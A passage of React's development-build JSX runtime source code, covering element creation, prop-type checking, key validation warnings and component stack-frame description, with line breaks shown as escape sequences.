REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nvar ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n    var stack = ReactDebugCurrentFrame.getStackAddendum();\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getContextName(type) {\n  return type.displayName || 'Context';\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return 'Profiler';\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        var context = type;\n        return getContextName(context) + '.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        var provider = type;\n        return getContextName(provider._context) + '.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type._render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            return getComponentName(init(payload));\n          } catch (x) {\n            return null;\n          }\n        }\n    }\n  }\n\n  return null;\n}\n\n// Helpers to patch console.logs to avoid logging during side-effect free\n// replaying on render function. This currently only patches the object\n// lazily which won't cover if the log function was extracted eagerly.\n// We could also eagerly patch the method.\nvar disabledDepth = 0;\nvar prevLog;\nvar prevInfo;\nvar prevWarn;\nvar prevError;\nvar prevGroup;\nvar prevGroupCollapsed;\nvar prevGroupEnd;\n\nfunction disabledLog() {}\n\ndisabledLog.__reactDisabledLog = true;\nfunction disableLogs() {\n  {\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      prevLog = console.log;\n      prevInfo = console.info;\n      prevWarn = console.warn;\n      prevError = console.error;\n      prevGroup = console.group;\n      prevGroupCollapsed = console.groupCollapsed;\n      prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099\n\n      var props = {\n        configurable: true,\n        enumerable: true,\n        value: disabledLog,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        info: props,\n        log: props,\n        warn: props,\n        error: props,\n        group: props,\n        groupCollapsed: props,\n        groupEnd: props\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    disabledDepth++;\n  }\n}\nfunction reenableLogs() {\n  {\n    disabledDepth--;\n\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      var props = {\n        configurable: true,\n        enumerable: true,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        log: _assign({}, props, {\n          value: prevLog\n        }),\n        info: _assign({}, props, {\n          value: prevInfo\n        }),\n        warn: _assign({}, props, {\n          value: prevWarn\n        }),\n        error: _assign({}, props, {\n          value: prevError\n        }),\n        group: _assign({}, props, {\n          value: prevGroup\n        }),\n        groupCollapsed: _assign({}, props, {\n          value: prevGroupCollapsed\n        }),\n        groupEnd: _assign({}, props, {\n          value: prevGroupEnd\n        })\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    if (disabledDepth < 0) {\n      error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');\n    }\n  }\n}\n\nvar ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;\nvar prefix;\nfunction describeBuiltInComponentFrame(name, source, ownerFn) {\n  {\n    if (prefix === undefined) {\n      // Extract the VM specific prefix used by each line.\n      try {\n        throw Error();\n      } catch (x) {\n        var match = x.stack.trim().match(/\\n( *(at )?)/);\n        prefix = match && match[1] || '';\n      }\n    } // We use the prefix to ensure our stacks line up with native stack frames.\n\n\n    return '\\n' + prefix + name;\n  }\n}\nvar reentry = false;\nvar componentFrameCache;\n\n{\n  var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n  componentFrameCache = new PossiblyWeakMap();\n}\n\nfunction describeNativeComponentFrame(fn, construct) {\n  // If something asked for a stack inside a fake render, it should get ignored.\n  if (!fn || reentry) {\n    return '';\n  }\n\n  {\n    var frame = componentFrameCache.get(fn);\n\n    if (frame !== undefined) {\n      return frame;\n    }\n  }\n\n  var control;\n  reentry = true;\n  var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.\n\n  Error.prepareStackTrace = undefined;\n  var previousDispatcher;\n\n  {\n    previousDispatcher = ReactCurrentDispatcher.current; // Set the dispatcher in DEV because this might be call in the render function\n    // for warnings.\n\n    ReactCurrentDispatcher.current = null;\n    disableLogs();\n  }\n\n  try {\n    // This should throw.\n    if (construct) {\n      // Something should be setting the props in the constructor.\n      var Fake = function () {\n        throw Error();\n      }; // $FlowFixMe\n\n\n      Object.defineProperty(Fake.prototype, 'props', {\n        set: function () {\n          // We use a throwing setter instead of frozen or non-writable props\n          // because that won't throw in a non-strict mode function.\n          throw Error();\n        }\n      });\n\n      if (typeof Reflect === 'object' && Reflect.construct) {\n        // We construct a different control for this case to include any extra\n        // frames added by the construct call.\n        try {\n          Reflect.construct(Fake, []);\n        } catch (x) {\n          control = x;\n        }\n\n        Reflect.construct(fn, [], Fake);\n      } else {\n        try {\n          Fake.call();\n        } catch (x) {\n          control = x;\n        }\n\n        fn.call(Fake.prototype);\n      }\n    } else {\n      try {\n        throw Error();\n      } catch (x) {\n        control = x;\n      }\n\n      fn();\n    }\n  } catch (sample) {\n    // This is inlined manually because closure doesn't do it for us.\n    if (sample && control && typeof sample.stack === 'string') {\n      // This extracts the first frame from the sample that isn't also in the control.\n      // Skipping one frame that we assume is the frame that calls the two.\n      var sampleLines = sample.stack.split('\\n');\n      var controlLines = control.stack.split('\\n');\n      var s = sampleLines.length - 1;\n      var c = controlLines.length - 1;\n\n      while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {\n        // We expect at least one stack frame to be shared.\n        // Typically this will be the root most one. However, stack frames may be\n        // cut off due to maximum stack limits. In this case, one maybe cut off\n        // earlier than the other. We assume that the sample is longer or the same\n        // and there for cut off earlier. So we should find the root most frame in\n        // the sample somewhere in the control.\n        c--;\n      }\n\n      for (; s >= 1 && c >= 0; s--, c--) {\n        // Next we find the first one that isn't the same which should be the\n        // frame that called our sample function and the control.\n        if (sampleLines[s] !== controlLines[c]) {\n          // In V8, the first line is describing the message but other VMs don't.\n          // If we're about to return the first line, and the control is also on the same\n          // line, that's a pretty good indicator that our sample threw at same line as\n          // the control. I.e. before we entered the sample frame. So we ignore this result.\n          // This can happen if you passed a class to function component, or non-function.\n          if (s !== 1 || c !== 1) {\n            do {\n              s--;\n              c--; // We may still have similar intermediate frames from the construct call.\n              // The next one that isn't the same should be our match though.\n\n              if (c < 0 || sampleLines[s] !== controlLines[c]) {\n                // V8 adds a \"new\" prefix for native classes. Let's remove it to make it prettier.\n                var _frame = '\\n' + sampleLines[s].replace(' at new ', ' at ');\n\n                {\n                  if (typeof fn === 'function') {\n                    componentFrameCache.set(fn, _frame);\n                  }\n                } // Return the line we found.\n\n\n                return _frame;\n              }\n            } while (s >= 1 && c >= 0);\n          }\n\n          break;\n        }\n      }\n    }\n  } finally {\n    reentry = false;\n\n    {\n      ReactCurrentDispatcher.current = previousDispatcher;\n      reenableLogs();\n    }\n\n    Error.prepareStackTrace = previousPrepareStackTrace;\n  } // Fallback to just using the name if we couldn't make it throw.\n\n\n  var name = fn ? fn.displayName || fn.name : '';\n  var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';\n\n  {\n    if (typeof fn === 'function') {\n      componentFrameCache.set(fn, syntheticFrame);\n    }\n  }\n\n  return syntheticFrame;\n}\nfunction describeFunctionComponentFrame(fn, source, ownerFn) {\n  {\n    return describeNativeComponentFrame(fn, false);\n  }\n}\n\nfunction shouldConstruct(Component) {\n  var prototype = Component.prototype;\n  return !!(prototype && prototype.isReactComponent);\n}\n\nfunction describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {\n\n  if (type == null) {\n    return '';\n  }\n\n  if (typeof type === 'function') {\n    {\n      return describeNativeComponentFrame(type, shouldConstruct(type));\n    }\n  }\n\n  if (typeof type === 'string') {\n    return describeBuiltInComponentFrame(type);\n  }\n\n  switch (type) {\n    case REACT_SUSPENSE_TYPE:\n      return describeBuiltInComponentFrame('Suspense');\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return describeBuiltInComponentFrame('SuspenseList');\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE:\n        return describeFunctionComponentFrame(type.render);\n\n      case REACT_MEMO_TYPE:\n        // Memo may contain any component type so we recursively resolve it.\n        return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);\n\n      case REACT_BLOCK_TYPE:\n        return describeFunctionComponentFrame(type._render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            // Lazy may contain any component type so we recursively resolve it.\n            return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);\n          } catch (x) {}\n        }\n    }\n  }\n\n  return '';\n}\n\nvar loggedTypeFailures = {};\nvar ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame.setExtraStackFrame(null);\n    }\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction warnIfStringRefCannotBeAutoConverted(config, self) {\n  {\n    if (typeof config.ref === 'string' && ReactCurrentOwner.current && self && ReactCurrentOwner.current.stateNode !== self) {\n      var componentName = getComponentName(ReactCurrentOwner.current.type);\n\n      if (!didWarnAboutStringRefs[componentName]) {\n        error('Component \"%s\" contains the string ref \"%s\". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', getComponentName(ReactCurrentOwner.current.type), config.ref);\n\n        didWarnAboutStringRefs[componentName] = true;\n      }\n    }\n  }\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n      warnIfStringRefCannotBeAutoConverted(config, self);\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;\nvar ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement$1(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame$1.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame$1.setExtraStackFrame(null);\n    }\n  }\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = getComponentName(ReactCurrentOwner$1.current.type);\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction getSourceInfoErrorAddendum(source) {\n  {\n    if (source !== undefined) {\n      var fileName = source.fileName.replace(/^.*[\\\\\\/]/, '');\n      var lineNumber = source.lineNumber;\n      return '\\n\\nCheck your code at ' + fileName + ':' + lineNumber + '.';\n    }\n\n    return '';\n  }\n}\n/**\n * Warn if there's no key explicitly set on dynamic arrays of children or\n * object keys are not valid. This allows us to keep track of children between\n * updates.\n */\n\n\nvar ownerHasKeyUseWarning = {};\n\nfunction getCurrentComponentErrorInfo(parentType) {\n  {\n    var info = getDeclarationErrorAddendum();\n\n    if (!info) {\n      var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;\n\n      if (parentName) {\n        info = \"\\n\\nCheck the top-level render call using <\" + parentName + \">.\";\n      }\n    }\n\n    return info;\n  }\n}\n/**\n * Warn if the element doesn't have an explicit key assigned to it.\n * This element is in an array. The array could grow and shrink or be\n * reordered. All children that haven't already been validated are required to\n * have a \"key\" property assigned to it. Error statuses are cached so a warning\n * will only be shown once.\n *\n * @internal\n * @param {ReactElement} element Element that requires a key.\n * @param {*} parentType element's parent's type.\n */\n\n\nfunction validateExplicitKey(element, parentType) {\n  {\n    if (!element._store || element._store.validated || element.key != null) {\n      return;\n    }\n\n    element._store.validated = true;\n    var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);\n\n    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {\n      return;\n    }\n\n    ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a\n    // property, it may be the creator of the child that's responsible for\n    // assigning it a key.\n\n    var childOwner = '';\n\n    if (element && element._owner && element._owner !== ReactCurrentOwner$1.current) {\n      // Give the component that originally created this child.\n      childOwner = \" It was passed a child from \" + getComponentName(element._owner.type) + \".\";\n    }\n\n    setCurrentlyValidatingElement$1(element);\n\n    error('Each child in a list should have a unique \"key\" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);\n\n    setCurrentlyValidatingElement$1(null);\n  }\n}\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\n\n\nfunction validateChildKeys(node, parentType) {\n  {\n    if (typeof node !== 'object') {\n      return;\n    }\n\n    if (Array.isArray(node)) {\n      for (var i = 0; i < node.length; i++) {\n        var child = node[i];\n\n        if (isValidElement(child)) {\n          validateExplicitKey(child, parentType);\n        }\n      }\n    } else if (isValidElement(node)) {\n      // This element was passed in a valid location.\n      if (node._store) {\n        node._store.validated = true;\n      }\n    } else if (node) {\n      var iteratorFn = getIteratorFn(node);\n\n      if (typeof iteratorFn === 'function') {\n        // Entry iterators used to provide implicit keys,\n        // but now we print a separate warning for them later.\n        if (iteratorFn !== node.entries) {\n          var iterator = iteratorFn.call(node);\n          var step;\n\n          while (!(step = iterator.next()).done) {\n            if (isValidElement(step.value)) {\n              validateExplicitKey(step.value, parentType);\n            }\n          }\n        }\n      }\n    }\n  }\n}\n/**\n * Given an element, validate that its props follow the propTypes definition,\n * provided by the type.\n *\n * @param {ReactElement} element\n */\n\n\nfunction validatePropTypes(element) {\n  {\n    var type = element.type;\n\n    if (type === null || type === undefined || typeof type === 'string') {\n      return;\n    }\n\n    var propTypes;\n\n    if (typeof type === 'function') {\n      propTypes = type.propTypes;\n    } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.\n    // Inner props are checked in the reconciler.\n    type.$$typeof === REACT_MEMO_TYPE)) {\n      propTypes = type.propTypes;\n    } else {\n      return;\n    }\n\n    if (propTypes) {\n      // Intentionally inside to avoid triggering lazy initializers:\n      var name = getComponentName(type);\n      checkPropTypes(propTypes, element.props, 'prop', name, element);\n    } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {\n      propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:\n\n      var _name = getComponentName(type);\n\n      error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');\n    }\n\n    if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {\n      error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');\n    }\n  }\n}\n/**\n * Given a fragment, validate that it can only be provided with fragment props\n * @param {ReactElement} fragment\n */\n\n\nfunction validateFragmentProps(fragment) {\n  {\n    var keys = Object.keys(fragment.props);\n\n    for (var i = 0; i < keys.length; i++) {\n      var key = keys[i];\n\n      if (key !== 'children' && key !== 'key') {\n        setCurrentlyValidatingElement$1(fragment);\n\n        error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);\n\n        setCurrentlyValidatingElement$1(null);\n        break;\n      }\n    }\n\n    if (fragment.ref !== null) {\n      setCurrentlyValidatingElement$1(fragment);\n\n      error('Invalid attribute `ref` supplied to `React.Fragment`.');\n\n      setCurrentlyValidatingElement$1(null);\n    }\n  }\n}\n\nfunction jsxWithValidation(type, props, key, isStaticChildren, source, self) {\n  {\n    var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to\n    // succeed and there will likely be errors in render.\n\n    if (!validType) {\n      var info = '';\n\n      if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {\n        info += ' You likely forgot to export your component from the file ' + \"it's defined in, or you might have mixed up default and named imports.\";\n      }\n\n      var sourceInfo = getSourceInfoErrorAddendum(source);\n\n      if (sourceInfo) {\n        info += sourceInfo;\n      } else {\n        info += getDeclarationErrorAddendum();\n      }\n\n      var typeString;\n\n      if (type === null) {\n        typeString = 'null';\n      } else if (Array.isArray(type)) {\n        typeString = 'array';\n      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {\n        typeString = \"<\" + (getComponentName(type.type) || 'Unknown') + \" />\";\n        info = ' Did you accidentally export a JSX literal instead of a component?';\n      } else {\n        typeString = typeof type;\n      }\n\n      error('React.jsx: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);\n    }\n\n    var element = jsxDEV(type, props, key, source, self); // The result can be nullish if a mock or a custom function is used.\n    // TODO: Drop this when these are no longer allowed as the type argument.\n\n    if (element == null) {\n      return element;\n    } // Skip key warning if the type isn't valid since our key validation logic\n    // doesn't expect a non-string/function type and can throw confusing errors.\n    // We don't want exception behavior to differ between dev and prod.\n    // (Rendering will throw with a helpful message and as soon as the type is\n    // fixed, the key warnings will appear.)\n\n\n    if (validType) {\n      var children = props.children;\n\n      if (children !== undefined) {\n        if (isStaticChildren) {\n          if (Array.isArray(children)) {\n            for (var i = 0; i < children.length; i++) {\n              validateChildKeys(children[i], type);\n            }\n\n            if (Object.freeze) {\n              Object.freeze(children);\n            }\n          } else {\n            error('React.jsx: Static children should always be an array. ' + 'You are likely explicitly calling React.jsxs or React.jsxDEV. ' + 'Use the Babel transform instead.');\n          }\n        } else {\n          validateChildKeys(children, type);\n        }\n      }\n    }\n\n    if (type === exports.Fragment) {\n      